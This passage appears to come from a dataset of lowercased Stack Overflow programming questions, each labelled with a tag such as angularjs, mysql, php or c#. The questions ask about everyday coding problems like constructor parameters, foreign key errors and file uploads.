$scope.posts[index].comment[0].subcomment = subcomment;     } }); </code></pre>   html   <pre><code>&lt;!doctype html&gt; &lt;html ng-app= plunker &gt; &lt;head&gt;     &lt;meta charset= utf-8  /&gt;     &lt;title&gt;angularjs plunker&lt;/title&gt;     &lt;script&gt;document.write( &lt;base href=   + document.location +    /&gt; );&lt;/script&gt;     &lt;link rel= stylesheet  href= style.css  /&gt;     &lt;script data-require= angular.js@1.5.x  src= https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.5.11/angular.min.js  data-semver= 1.5.11 &gt;&lt;/script&gt;     &lt;body ng-controller= mainctrl &gt;         &lt;p&gt;hello {{name}}!&lt;/p&gt;         &lt;div ng-repeat= post in posts track by $index  ng-init= outerindex=$index &gt;             &lt;h3&gt;                 &lt;b&gt;post id: {{ post.id }}&lt;/b&gt;             &lt;/h3&gt;             &lt;b&gt;post title:&lt;/b&gt; {{ post.title }}             &lt;div ng-repeat= comment in post.comment  &gt;                 &lt;br&gt;                 &lt;b&gt;sub comment&lt;/b&gt;: {{comment.subcomment}}                  &lt;b&gt;status&lt;/b&gt;: {{comment.status}}                  &lt;div&gt;                     &lt;table&gt;                         &lt;tr&gt;                             &lt;tr&gt;                                 &lt;td&gt;enter subcomment&lt;/td&gt;                                 &lt;td&gt;                                     &lt;input type= text  ng-model= subcomment  placeholder= enter value for subcomment and save. &gt;                                 &lt;/td&gt;                             &lt;/tr&gt;                             &lt;tr&gt;                                 &lt;td&gt;                                     {{outerindex}}                                 &lt;/td&gt;                                 &lt;td&gt;                                     &lt;input type= button  id= but_save  value= save and replace/update  ng-click= setresponse4(post.id 1 outerindex subcomment comment.id) &gt;                                 &lt;/td&gt;                                 &lt;td&gt;                                     &lt;input type= button  style= display:none  ng-init= getcomments1(comment.id 5) &gt;                                 &lt;/td&gt;                             &lt;/tr&gt;                     &lt;/table&gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;hr style= width:100%;font-size:10 &gt;         &lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,angularjs
best size of page to display in webview  i want to creat a php page named contact us especially for iphone to display it in webview.current page of contact us on website is large and its visibly it not good looking in webview.    what size of page should i made in order to diplay it clearly in iphone uiwebview.,iphone
cannot call getter method unless specifying  this  keyword  why does the example from a tutorial page works without having the this keyword in the constructor     the code from the website:   <pre><code>#include &lt;iostream&gt; using namespace std;  class rectangle {   int width  height;     public:    rectangle ();    rectangle (int int);        int getwidth() {       return width;    } };  rectangle::rectangle () {   width = 5;   height = 5; }  rectangle::rectangle (int a  int b) {   width = a;   height = b; }  int main () {   rectangle rect (3 4);   rectangle rectb;   cout &lt;&lt;  rect area:   &lt;&lt; rect.getwidth() &lt;&lt; endl;   cout &lt;&lt;  rectb area:   &lt;&lt; rectb.getwidth() &lt;&lt; endl;   return 0; } </code></pre>   my code:   <pre><code>class person {   int age;   std::string name;  public:   person();   person(int  std::string);    std::string * getname() {     return &amp;name;   }    int * getage() {     return &amp;age;   } };  person::person () {   age = 25;   name =  john ; }  person::person (int age  std::string name){  // this is the part :   this-&gt;age = age;   this-&gt;name = name;  }  int main() {   person john(45   doe );   printf( name %d \n   *john.getage() );   std::cout &lt;&lt;  age   &lt;&lt; *john.getname() &lt;&lt; std::endl;   return 0; } </code></pre>   as you can see in my code i must use <code>this-&gt;name</code>  if i don t then the values are not assigned.    on the other hand  the example code from the website works with or without <code>this-&gt;</code>    why does this happen,c++
mysql query to get records from multiple tables  i have a master table  <code>player</code>  with  <code>playerid</code>  as the <code>primary key</code>.     i have three tables linked to the  <code>player</code>  table. one table may have more records than the other. i need to get all the records for the player in different rows from each table.    player table   <pre><code>playerid int(pk)   playername varchar(25) </code></pre>   startup table   <pre><code>playerid int(fk)   startupdate date </code></pre>   reboot table   <pre><code>playerid int(fk)   rebootdate date </code></pre>   shutdown table   <pre><code>playerid int(fk)   shutdown date  </code></pre>   the query as is given below :   <pre><code>playername   startupdate      rebootdate        shutdowndate  player1      12/2/2015 11:57  12/2/2015 17:30   12/2/2015 20:00  player1      12/2/2015 14:57  12/2/2015 15:30  player1      12/2/2015 12:30  player1      12/2/2015 10:30  </code></pre>,mysql
which one is better generating controls(labels  textboxes  listview  buttons etc) on runtime or creating layout in c#   i am working on my final year project  in my project i am using winform c#. my project is some sort of security system including hardware.    in my project i have a lots of controls like panels  textboxes  labels etc. till now i am using layout and it is getting slower and slower (and flickering more and more) as i am adding more controls in it.    my question is that isn t it better to generate controls when required and destroy them when i don t need them  will it save memory,c#
selective product installation in mysql 5.6  mysql 5.6 community edition installation installs the following folders  but i just want to install the server alone and don t need any connectors or excel or docs. how should i do a custom install to do what i need.    c:\program files\mysql>dir    volume in drive c has no label.    volume serial number is 96fe-9b3f    directory of c:\program files\mysql    13-02-2013 pm 01:15  .    13-02-2013 pm 01:15  ..    13-02-2013 pm 01:14  connector c++ 1.1.2    13-02-2013 pm 01:14  connector j 5.1.23    13-02-2013 pm 01:15  connector net 6.6.5    13-02-2013 pm 01:14  connector odbc 5.2.4    13-02-2013 pm 01:15  mysql documentation 5.6.10    13-02-2013 pm 01:14  mysql for excel 1.1.0    13-02-2013 pm 12:05  mysql installer    13-02-2013 pm 01:14  mysql notifier 1.0.3    13-02-2013 pm 01:13  mysql server 5.6    13-02-2013 pm 01:21  mysql workbench ce 5.2.46    13-02-2013 pm 01:15  samples and examples 5.6.10    0 file(s) 0 bytes    13 dir(s) 71 534 161 920 bytes free,mysql
linking from inner batches to a section on the home page of my website  i have a number of sections on my homepage: about us  courses etc. when i try to link to a section on the homepage from inner pages like contact us i create this link:   <pre><code>&lt;a href= http://www.example.com#courses &gt;courses&lt;/a&gt; </code></pre>   the link opens but immediately shifts to the top of the page.    how can we link to the correct section,html
how can i know my application is in not working mode   i have one application in that i want to know that is this in idle mode      how can i know this      in my application when it go in idle mode i want to stop one java script. or you can say when  no one using application for long time .,iphone
php move_uploaded_file changing the name of the stored file   i got some code from <a href= http://www.tizag.com/phpt/fileupload.php  rel= nofollow >here</a>    while this code works  it uploads the original file name to the server. i have a random string generator that i want to name the files with:   <pre><code>function generaterandomstring($length = 10) {     $characters =      0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz ;     $characterslength = strlen($characters);     $randomstring =   ;     for ($i = 0; $i &lt; $length; $i++) {         $randomstring .= $characters[rand(0  $characterslength - 1)];     }    return $randomstring; } </code></pre>   so     <pre><code>&lt; php  session_start();  $picname = generaterandomstring(); $_session[ picname ] = $picname;  &gt; </code></pre>   where $picname is getting sent to the database  and we will use the $_session[ picname ] on the upload2.php file.     here is the html:    <pre><code>&lt;form method= post  action= upload2.php  enctype= multipart/form-data  &gt;  &lt;input type= file  name= img  /&gt; &lt;/form&gt; </code></pre>   and here is upload2.php:   <pre><code>&lt; php session_start();  $picname = $_session[ picname ]; $target_path =  files/ ; $target_path = $target_path . basename( $_files[ uploadedfile ][ name ]);     if(move_uploaded_file($_files[ img ][ tmp_name ]  $target_path)) { echo  the file has been uploaded ; } else{ echo  there was an error uploading the drivers licence picture  please try again! ; }  &gt; </code></pre>   so the question is  where in upload2.php do i need to set the new name ($picname) to change the final name of the file,php
gem dependency error in rails 2.3.4  hi  i am working in rails .. my gem list is   <pre><code>*** local gems ***     abstract (1.0.0)  actionmailer (3.0.4  3.0.3  2.3.11  2.3.10  2.3.8  2.3.4  2.3.2)  actionpack (3.0.4  3.0.3  2.3.11  2.3.10  2.3.8  2.3.4  2.3.2) activemodel (3.0.4  3.0.3)   activerecord (3.0.4  3.0.3  2.3.11  2.3.10  2.3.8  2.3.4)   activeresource (3.0.4  3.0.3  2.3.11  2.3.10  2.3.8  2.3.4)   activesupport (3.0.4  3.0.3  2.3.11  2.3.10  2.3.8  2.3.4  2.3.2)   acts-as-taggable-on (2.0.6)     acts_as_ferret (0.4.8  0.4.2)  acts_as_versioned (0.6.0)  after_commit (1.0.8  1.0.7)  annotate (2.4.0)   annotate-models (1.0.4)  arel (2.0.8  2.0.7  2.0.6)   autotest-rails (4.1.0)  babosa (0.2.1  0.2.0)  bcrypt-ruby (2.1.4  2.1.3  2.1.2)   builder (3.0.0  2.1.2)      bundler (1.0.10  1.0.7)      cgi_multipart_eof_fix (2.5.0)     clothred (0.4.1)       coderay (0.9.6  0.9.5  0.9.3  0.8.357)      configuration (1.1.0)      cucumber (0.8.5)       daemons (1.1.0  1.0.10)     delayed_job (2.1.2  2.0.5  2.0.4  2.0.3)      devise (1.1.5)         diff-lcs (1.1.2)      docsplit (0.5.0)      echoe (4.3.1  3.0.2)     erubis (2.6.6)     factory_girl (1.3.2  1.2.3)     fastthread (1.0.7  1.0.1)       ferret (0.11.6)       friendly_id (3.2.0)        gem_plugin (0.2.3)        gemcutter (0.6.1)       gherkin (2.2.0  2.1.5)        gm (1.0.4)   haml (3.0.25)      highline (1.6.1  1.5.0)    hoe (2.6.1  1.12.2)     hpricot (0.8.3  0.8.2  0.8.1)     htmldoc (0.2.3  0.2.1)      i18n (0.5.0)    io-reactor (1.0.4)     jquery-rails (0.2.6)    jslint_on_rails (1.0.5)  json_pure (1.4.6  1.4.3)     launchy (0.3.7  0.3.5)    mail (2.2.15  2.2.14  2.2.13)     memcache-client (1.8.5)    memcached (1.0.6)   mime-types (1.16)     mini_magick (1.3.2  1.2.3)    mocha (0.9.10)    mongrel (1.1.5)     mysql (2.8.1)      mysql2 (0.2.6)     net-ldap (0.1.1)     newgem (1.5.3  1.3.0)      oauth (0.4.4  0.4.1  0.3.6  0.3.2)    oauth-plugin (0.3.14)    paperclip (2.3.8)      passenger (2.2.15  2.2.5  2.1.2  2.0.6)    pg (0.9.0  0.8.0)   polyglot (0.3.1)  prawn (0.8.4)     prawn-core (0.8.4)   prawn-format (0.2.3)  prawn-js (0.7.1)    prawn-layout (0.8.4)    prawn-security (0.8.4)   rack (1.2.1  1.1.0  1.0.1  0.9.1)    rack-mount (0.6.13)   rack-test (0.5.7)   rails (3.0.4  2.3.11  2.3.8  2.3.4)    railties (3.0.4  3.0.3)       rake (0.8.7  0.8.4  0.8.1)   redcloth (4.2.3  4.1.1)     riddle (1.2.2  1.2.1  1.0.12)     rspec (1.3.0)      rspec-rails (1.3.2)      rubigen (1.5.5  1.5.2)      ruby-hmac (0.4.0  0.3.2)       ruby-memcache (0.0.1)      rubyforge (2.0.4  1.0.3  1.0.1)      rubygems-update (1.4.2)     slim_scrooge (1.0.11)    sqlite3-ruby (1.3.2  1.3.1  1.2.5  1.2.4)     subexec (0.0.4)        syntax (1.0.0)       term-ansicolor (1.0.5)      thinking-sphinx (1.4.1  1.4.0  1.3.18)     thor (0.14.6)  treetop (1.4.9)   trollop (1.16.2)     ts-delayed-delta (1.1.1  1.1.0)         tzinfo (0.3.24  0.3.23)      warden (1.0.3  1.0.2) web-app-theme (0.6.3)    will_paginate (3.0.pre2)      yaml_db (0.2.0)        zentest (4.3.3) </code></pre>   i have the above gem list     when i run my application    <pre><code>  script/server   =&gt; booting mongrel  =&gt; rails 2.3.4 application starting on http://0.0.0.0:3000  /usr/lib/ruby/gems/1.8/gems/rails-2.3.4/lib/rails/gem_dependency.rb:119:in `requirement : undefined local variable or method `version_requirements  for #&lt;rails::gemdependency:0xb7181c78&gt; (nameerror) from /usr/local/lib/site_ruby/1.8/rubygems.rb:254:in `activate  from /usr/local/lib/site_ruby/1.8/rubygems.rb:1204:in `gem  from /usr/lib/ruby/gems/1.8/gems/rails-2.3.4/lib/rails/gem_dependency.rb:73:in `add_load_paths  from /usr/lib/ruby/gems/1.8/gems/rails-2.3.4/lib/initializer.rb:301:in `add_gem_load_paths  from /usr/lib/ruby/gems/1.8/gems/rails-2.3.4/lib/initializer.rb:301:in `each  from /usr/lib/ruby/gems/1.8/gems/rails-2.3.4/lib/initializer.rb:301:in `add_gem_load_paths  from /usr/lib/ruby/gems/1.8/gems/rails-2.3.4/lib/initializer.rb:132:in `process  from /usr/lib/ruby/gems/1.8/gems/rails-2.3.4/lib/initializer.rb:113:in `send  from /usr/lib/ruby/gems/1.8/gems/rails-2.3.4/lib/initializer.rb:113:in `run  from /home/user/application/config/environment.rb:19 from /usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:29:in `gem_original_require  from /usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:29:in `require  from /usr/lib/ruby/gems/1.8/gems/activesupport-2.3.4/lib/active_support/dependencies.rb:156:in `require  from /usr/lib/ruby/gems/1.8/gems/activesupport-2.3.4/lib/active_support/dependencies.rb:521:in `new_constants_in  from /usr/lib/ruby/gems/1.8/gems/activesupport-2.3.4/lib/active_support/dependencies.rb:156:in `require  from /usr/lib/ruby/gems/1.8/gems/rails-2.3.4/lib/commands/server.rb:84 from /usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:29:in `gem_original_require  from /usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:29:in `require  from script/server:3 </code></pre>   i am getting the above error ..     how to resolve this,ruby-on-rails
force call __attribute__((const)) function  a library i m using provides a const function that does some initialization the first time it is called:    <code>foo_t get_foo(void) __attribute__((const));</code>    i need to call <code>get_foo</code> before some other tasks that depend on the initialization it does. how can i do this reliably     the compiler can and will eliminate a simple <code>get_foo();</code> call.    a solution i thought out that seems to work is assigning the result to a dummy volatile variable:    <code>volatile foo_t dummy = get_foo();</code>    first  is the behavior of that well-defined     second  is there a way to force-call a const function without the dummy variable,c
nextsibiling doesn t work  this is a sample code of what i am doing. unfortunately the alert(nextelem.value) returns  undefined  when i click the second checkbox to get the href of the link after it. do you have any idea how to fix it    <pre><code>   &lt;html&gt; &lt;head&gt; &lt;title&gt;checkbox inspector&lt;/title&gt; &lt;script language= javascript &gt;  function validate() {     for (i = 0; i &lt;(document.f1.checkthis.length) ; i++) {         if (document.f1.checkthis[i].checked) {             var elem = document.f1.checkthis[i];             var nextelem = elem.nextsibling;              alert(nextelem.href);             }         } } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;form name= f1 &gt; &lt;input type= checkbox  name= checkthis  value= http://www.google.com  onclick= validate() &gt;check here&lt;br&gt; &lt;a href= http://www.google.com &gt;click here&lt;/a&gt;     &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
uitableview gridlayout problems with reusable uitableviewcells  i am creating a grid (spreadsheet) like layout for ipad app using uitableview. i got the grid part working but since i am dynamically adding uilabels to the cells the reusable portion is not working fine. here is the code:    <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:@ fundcell ];      fund *fund = [funds objectatindex:[indexpath row]];      float labelwidth = 1024 / ([columnnames count] -1 );      for(nsstring *columnname in columnnames)     {         uilabel *label = [[uilabel alloc] initwithframe:cgrectmake(x  0  labelwidth  44)];          label.backgroundcolor = [uicolor clearcolor];          label.text = [fund valueforkey:columnname];          x += label.bounds.size.width;          [cell addsubview:label];     }      x = 0;      return cell; } </code></pre>   result:    <img src= https://i.stack.imgur.com/jrlfq.png  alt= enter image description here >,ios
javascript error thrown by ajaxtoolkit in .net only on some machines  we have a button that saves asynchronously using ajaxtoolkit/c#/.net.  i m getting this in my error console:   <pre><code>error: [exception...   sys.webforms.pagerequestmanagerservererrorexception: sys.webforms.pagerequestmanagerservererrorexception: an unknown error occurred while processing the request on the server. the status code returned from the server was: 500  when calling method: [nsidomeventlistener::handleevent]   nsresult:  0x8057001c (ns_error_xpc_js_threw_js_object)   location:  &lt;unknown&gt;   data: no] </code></pre>   the strangest thing about this is that it s only happening on some machines (but not all).  everyone in the office checked this out in ff 3.0.4 and ie 7  and the save works fine for most people.  for the handful of people that it doesn t work for  it fails in both browsers.    any ideas of where to start troubleshooting this    <ol> <li>i d say it was a server/code error  but it works for most people.</li> <li>i d say it was a javascript error  but we re all using the same browser.</li> <li>i might even say it was an os difference  but it happens to both xp and vista users.</li> <li>user permissions are the same for all of us</li> </ol>   the application was working correctly until this weekend s update  where we updated a usercontrol on the page.  if i remove that control  the save works fine on all computers.  when i add the control  we have the above situation where it fails on random computers.    <strong>answer</strong>    unfortunately  this was hard to track down due to the mysteriousness of how ajaxtoolkit returns errors.  the real culprit was that there was html in some of our fields in the usercontrol.  we added validaterequest= false  to the top of our page  and our problems disappeared.    the way we ultimately found the problem was to <strong>remove the updatepanel</strong> from around our save button.    sorry i didn t think of this sooner  because it was pretty straightforward from there.  i m giving michael the accepted answer for his hard work and exhaustive troubleshooting list.,.net
given a classpath resource  is there a way to get the java.io.file object that has/contains it   if i have a resource on a classpath  i can both load it as stream fine  and there is even a url representation of it. unfortunately some implementations of the url do not implement lastmodified correctly.    what i would like is to take a path to something in the classpath  and then resolve it to a file that it is in on disk - if it in a jar  then a file pointing to the jar is fine. i can then get the lastmodified from the file object instead of the url  which will be more helpful.,java
simple way to use the sum function in sql  so i am having some issues with creating a sproc for a report for a new application that reads calculations from devices. these readings are all just basic numbers and are taken every week. currently i am trying to combine the calculations for each month.    i started toying around with the sum function since i havent done sub-queries within a a sum function before and i have the below:   <pre><code>select     (select sum(reading) from readings where (month(readings.readingdate) = 1) and meterid = 1) as january1      (select sum(reading) from readings where (month(readings.readingdate) = 1) and meterid = 2) as january2      (select sum(reading) from readings where (month(readings.readingdate) = 1) and meterid = 3) as january3      from     readings where year(readings.readingdate) = 2013 </code></pre>   my tables and fields that will be getting info pulled from are:    meters: meterid  metername    readings: id  userid  meterid  reading  readingdate    i m aware that it is currently not in stored procedure format right now  basically i have a feeling that i am getting in over my head with the current format because there is 19 meters and then if i take that with the 12 months of the year i am going to have one monster length of a sproc for something i feel like could be simpler. any help would be awesome.    thanks!,sql
how to copy images in one folder to another folder using c#  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1979920/how-to-copy-a-file-to-another-path >how to copy a file to another path </a>    </blockquote>     i need to copy images from one folder to another folder when my code starts to execute. every time it starts to execute this should be happen.,c#
how do i convert a constant celsius value to fahrenheit  in c   i am working with c and am tasked with defining a constant for a temperature in celsius  and having the program convert it to fahrenheit. to do this i would multiply by 9  then divide by 5  then add 32. i am lost. here is my non-working code:   <pre><code>#include&lt;stdio.h&gt;  #define c 23 int f;  int main() {     f = (5/9)*(c - 32);     scanf( %d   &amp;f)     printf(f); } </code></pre>   any help would be greatly appreciated. i know there is lots of errors with this code  i started learning c today. i don t care if the entire thing needs to be scrapped.,c
"uncaught error: [$injector:modulerr] http://errors.angularjs.org/1.5.0/$injector/modulerr p0=app&p1=error%3a%20%….c%20  i got this error when trying to write my code.  i ve been through the other stackflow questions and can t find an answer.  what is causing this error     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var app = angular.module( app   [ ui.router    ngtouch    ngmaterial    ngmessages    nganimate ])
 
 app.config([ $stateprovider    $urlrouterprovider   function ($stateprovider  $urlrouterprovider) {
     $urlrouterprovider.otherwise( /category );
 
     $stateprovider
         .state( category   {
             url:  /category  
             templateurl:  ../../app/categoryviewer/category.html  
             controller:  categorycontroller 
         });
 }]);</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;head&gt;
     &lt;title&gt;&lt;/title&gt;
     &lt;link href= css/reset.css  rel= stylesheet  /&gt;
     &lt;link href= https://ajax.googleapis.com/ajax/libs/angular_material/1.0.5/angular-material.min.css  rel= stylesheet  /&gt;
     &lt;link href= css/site.css  rel= stylesheet  /&gt;
     &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js &gt;&lt;/script&gt;    
     &lt;script src= https://code.angularjs.org/1.5.0/angular.min.js &gt;&lt;/script&gt;
     &lt;script src= https://code.angularjs.org/1.5.0/angular-route.min.js &gt;&lt;/script&gt;
     &lt;script src= http://angular-ui.github.io/ui-router/release/angular-ui-router.min.js &gt;&lt;/script&gt;
     &lt;script src= https://code.angularjs.org/1.5.0/angular-touch.min.js &gt;&lt;/script&gt;
     &lt;script src= https://code.angularjs.org/1.5.0/angular-messages.min.js &gt;&lt;/script&gt;
     &lt;script src= https://ajax.googleapis.com/ajax/libs/angular_material/1.0.4/angular-material.min.js &gt;&lt;/script&gt;
 
     &lt;script src= app/app.js &gt;&lt;/script&gt;
     &lt;script src= app/directives.js &gt;&lt;/script&gt;
     &lt;script src= app/categoryviewer/categorycontroller.js &gt;&lt;/script&gt;
 &lt;/head&gt;
 
 
 &lt;body ng-app= app &gt;
     &lt;div id= content  ui-view&gt;hello&lt;/div&gt;
 &lt;/body&gt;</code></pre>
 </div>
 </div>
     any help would be appreciated.",angularjs
do i need to use an  =  when using the   : javascript shortcut   can someone tell me if this is valid javascript to do this:   <pre><code>        if (wf.statusid == status.dirty) {             wf.createddate                   promises.push(self.wordformupdatesubmit(wf  key))                 : promises.push(self.wordformaddsubmit(wf  key));         }  </code></pre>   would there be cases where this would not work correctly if createddate was not defined      here s what this replaced:   <pre><code>        if (wf.statusid == status.dirty) {             if (wf.createddate) {                 var updatepromise = self.wordformupdatesubmit(wf  key);                 promises.push(updatepromise);             } else {                 var addpromise = self.wordformaddsubmit(wf  key);                 promises.push(addpromise);             }         } </code></pre>   also a related question.  would it be possible to use the same syntax with   : to replace the need for the if () { } construct,javascript
iphone - can i have a limited functionality application   i am about to create a light version of an app of mine.     my idea is to have the same application and limit its functionality. for example: suppose my application allows 4 modes of operation. the lite version would contain the first mode unlocked and then  if the user selects one of the other modes  show a message saying these other modes are just available in the full version. then a buy now button would be provided.    is this possible to do  i mean  is it against apple rules,iphone
shared import in python  my program is getting quite big  i want to streamline it and put all my setup/constants in one file. for example  in c it s common to have a file which contains all constants and imports so you don t have to import a library in every file. yet i haven t figured out how to do this in python.     i want to do something like this:    setup.py   <pre><code>import requests import json url =  url/  </code></pre>   file1.py   <pre><code>import setup #this is the part i m not sure how to do #everything is already setup body = json.dumps({ this :false}) r = requests.put(url +  request1   data=body) # do stuff </code></pre>   file2.py   <pre><code>import setup #this is the part i m not sure how to do #everything is already setup body = json.dumps({ this :true}) r = requests.put(url +  request2   data=body) # do stuff </code></pre>   is there a way to do this  if not  what is the standard,python
mixing global functions and class member functions c++  is it bad to call global functions from member functions of a class   i mean is this ok...   <pre><code>class myclass {     void print_numb(); };  int get_numb() {    return 10; }  void myclass::print_numb() {      cout &lt;&lt; get_numb() &lt;&lt; endl; } </code></pre>,c++
do i need to learn c# beforestarting to work with asp.net  just wondering if i needed to know c# before i can start working with asp.net     can i learn them together     what is a good starting point like a book or online tutorials.    thanks,asp.net
why can not i give a foreign key constraint   why can not i give a foreign key constraint      error 1215: cannot add foreign key constraint    sql statement:   <pre><code>create table `arena`.`like_history` (    `p_id` int(11) not null     `u_id` int(11) not null     `ldate` datetime not null     primary key (`p_id`  `u_id`)     index `u_id_idx` (`u_id` asc)     constraint `p_id`      foreign key (`p_id`)      references `arena`.`picture` (`p_id`)      on delete cascade      on update cascade     constraint `u_id`      foreign key (`u_id`)      references `arena`.`user` (`ul_id`)      on delete cascade      on update cascade) </code></pre>,mysql
applay css on children element when hover on parent element hover   hi friends i want to applay css on children element when hove on parent element like.   <pre><code>&lt;html&gt;   &lt;head&gt;&lt;/head&gt;   &lt;style&gt;   .nav_menu{       width:100%;   }   .nav_menu ul{      list-style-type:none;      list-style:none;   }   .nav_menu ul li{      display:inline-block;      padding:10px 20px;      background:#000000;      margin-left:10px;   }   .nav_menu ul li a{      text-decoration:none;      color : #ffffff;   }   // i alread try to write .nav_menu ul li:hover + a or    //.nav_menu ul li:hover  a   .nav_menu ul li:hover ~ a{       background : #ffffff;      color : #000000;   }   &lt;/style&gt;   &lt;body&gt;      &lt;div class= nav_menu &gt;          &lt;ul&gt;              &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;              &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;              &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;              &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;          &lt;/ul&gt;      &lt;/div&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   i want hover on the <code>li</code> tag when change the background of <code>li</code> tag and with the change color of <code>a</code> tag.    i don t know how to change children element css to hover on parent element.    please help.    thank you,css
searching sets of numbers in random numbers using binary search algorithm  my code below is not working  not giving me any output. it was working well when i asked users to enter set of numbers and find within. but when i tried to search within random numbers  it is not working at all. can anyone help me figure out  what did i do wrong  because program build successfully. it just won t giving the correct output.      <pre><code> {    class program    {     public class binarysearch     {         public static int search(int[] list  int x  int lower  int upper)         {             if (lower == upper)             {                 int middle = (lower + upper) / 2;                 if (x == list[middle])                     return middle;                 else if (x &gt; list[middle] )                     return search(list  x  lower  middle - 1);                 else                     return search(list  x  middle + 1  upper);             }             return 0;         }         public static void main(string[] args)         {             int key;                    int index;                 int low = 0;             int high = 1000;               int[] list = new int[1000];             random randomnumber = new random();               for (int i = 0; i &lt; 1000; i++)             {                 list[i] = randomnumber.next(1  1000);             }             foreach (int j in list)             {                 console.writeline( {0}   j);             }              console.writeline( ...................................................\n );             console.writeline( \nenter the number to be searched in the list. );              key = convert.toint32(console.readline());             index = search(list  key  low  high);             console.writeline( ...................................................\n );             if (index == 0)                 console.writeline( key {0} not found   key);             else                 console.writeline( key {0} found at index {1}   key  index);         }     } } </code></pre>   },c#
jquery $(html  props) (dom creation) ignores props map  i m unable to correctly create dom elements using jquery (1.3.2):   <pre><code>var ev_t; $( #add-event ).click(function() {     ev_t = $( &lt;form&gt;   { action :  someurl  }).hide().appendto(document.body);     var fields = $( &lt;div&gt; ).appendto(ev_t);     fields.load( someurl   function() {         $( &lt;input&gt;   { type:  submit   value:  add  }).appendto(ev_t);         ev_t.dialog();     });     ev_t.submit(function() {         // form submission ...         return false;     });     return false; }); </code></pre>   the  and  elements are inserted but <strong>none of the attributes</strong> (form action and input type and value) <strong>are set</strong>. what am i doing wrong,jquery
what does ordering mean in list/tree set in java  java docs says that a  treeset keeps its elements ordered internally .     here what does ordering mean   does it mean sorted  if so  then what is the difference between sorting and ordering,java
put data between foreach() in php  how can i put data between specific results in the foreach() function   i have an array like this:   <pre><code>array( 01:data1:data2:data3    01:data4:data5:data6    02:data1:data2:data3 ) </code></pre>   when i print the array with <code>foreach()</code> i want to put html code between each number  like:   <pre><code>&lt;ul&gt; &lt;li&gt;01:data1:data2:data3&lt;/li&gt; &lt;li&gt;01:data4:data5:data6&lt;/li&gt; &lt;/li&gt;image&lt;/li&gt; &lt;li&gt;02:data1:data2:data3&lt;/li&gt; &lt;li&gt;image&lt;/li&gt; &lt;/ul&gt; </code></pre>   is it possible,php
foreign key constraint is incorrectly formed   i got this errore when create table: foreign key constraint is incorrectly formed      <pre><code>{create table comment( comment_id int unsigned auto_increment not null  user_1 varchar(50) not null  note_id int(11) unsigned not null  primary key(comment_id)    constraint `fk_1` foreign key (`user_1`) references `user` (`dev_id`)    constraint `fk_2` foreign key (`user_2`) references `user` (`dev_id`)    constraint `fk_3` foreign key (`note_id`) references `note`(`note_id`) )engine=innodb default charset=utf8; } </code></pre>   it s ok when i remove fk_3<br> this my note table   <pre><code>{  create table `note` (  `dev_id` varchar(50) not null    `note_id` int(11) unsigned not null    `title` varchar(200) not null    `time` datetime not null    `mood` int(11) not null    `body` varchar(3000) not null    `visible` tinyint(1) not null default  1     `share` tinyint(1) not null default  0     `update` tinyint(1) not null default  0     primary key (`dev_id` `note_id`)    constraint `fk_note_user` foreign key (`dev_id`) references `user` (`dev_id`) on update cascade ) engine=innodb default charset=utf8 } </code></pre>   thanks for help!,mysql
theater.js not working on page loaded with angular ui route  i am trying to make <a href= https://github.com/zhouzi/theaterjs  rel= nofollow >theater.js</a> work with angular application.    if div in which theaterjs is supposed to insert dynamically typed contents is on the index page  it works perfectly fine.    but if i keep the same div on the page which is loaded using ui-view  (or using ng-view for that matter)  theaterjs throws following exception   <pre><code>uncaught typeerror: cannot set property  innerhtml  of null   </code></pre>   i understand its happening because theaterjs is loaded before main.html page is loaded through ui-view. but i am not sure how to handle this scenario.    here is the <a href= http://plnkr.co/edit/4xmwvtwbvxggtpbimyos p=preview  rel= nofollow >plnkr demo</a> with the example. the theaterjs works when div is on index page but fails to work when the div is on main.html which is loaded dynamically using ui-view.    in my project  i want to use theaterjs on a page loaded using ui-view.,angularjs
how to call html code in a function  i am developing a tab in my website and i want to have html code for different tab in different file.how do i call html code from one file to another,html
project euler 2# - strange output  i ve tried to solve problem 2 on project euler in c. this is the first possible solution that came to my mind  and  in fact  it gives as an output the right answer. the problem is that each time i run my program it gives me a different output  which is either  2  or  4613732  that is the right answer. sorry for my poor english  can you help me find out what s wrong    <pre><code>#include &lt;stdio.h&gt; int main(){   int n  n1 = 1  n2 = 2  sum = 2;   while(n&lt;4000000){      n = n1 + n2; /*calculate the next number of the series*/      n1 = n2;      n2 = n;      if(n%2 == 0){         sum = sum + n; /*if the number it s even add it to the main sum*/       }     }     printf( the sum is %d\n   sum); } </code></pre>,c
how to check the fragment activity info in current activity   i want to create a tool to collect current activity detail information. is there any api can get the fragment activity info in current activity  please     i notice the fragmentmanger. but it needs the instance of activity. i only can get activityinfo from some services.,android
merge listing of foldersfrom 2 directories - c#  need to display folder listings from 2 different network shares. what is the best way to merge them  this is a legacy c# code...    the merged list is displayed in a list view control,c#
script stop working when sending often post  does anyone here have experienced like this    scenario: i have a form and text area.in this text area i putted data every line. the data will send post itself then it read every line of textarea and send post to other url then the other url will send response.    this is working if i submit below 10 lines on textarea and if i submit more than 10 lines the script stop working and send me to 500.shtml page.    i wonder that my server have limit. because when i tried to my locahost it is working. does anyone have an idea,php
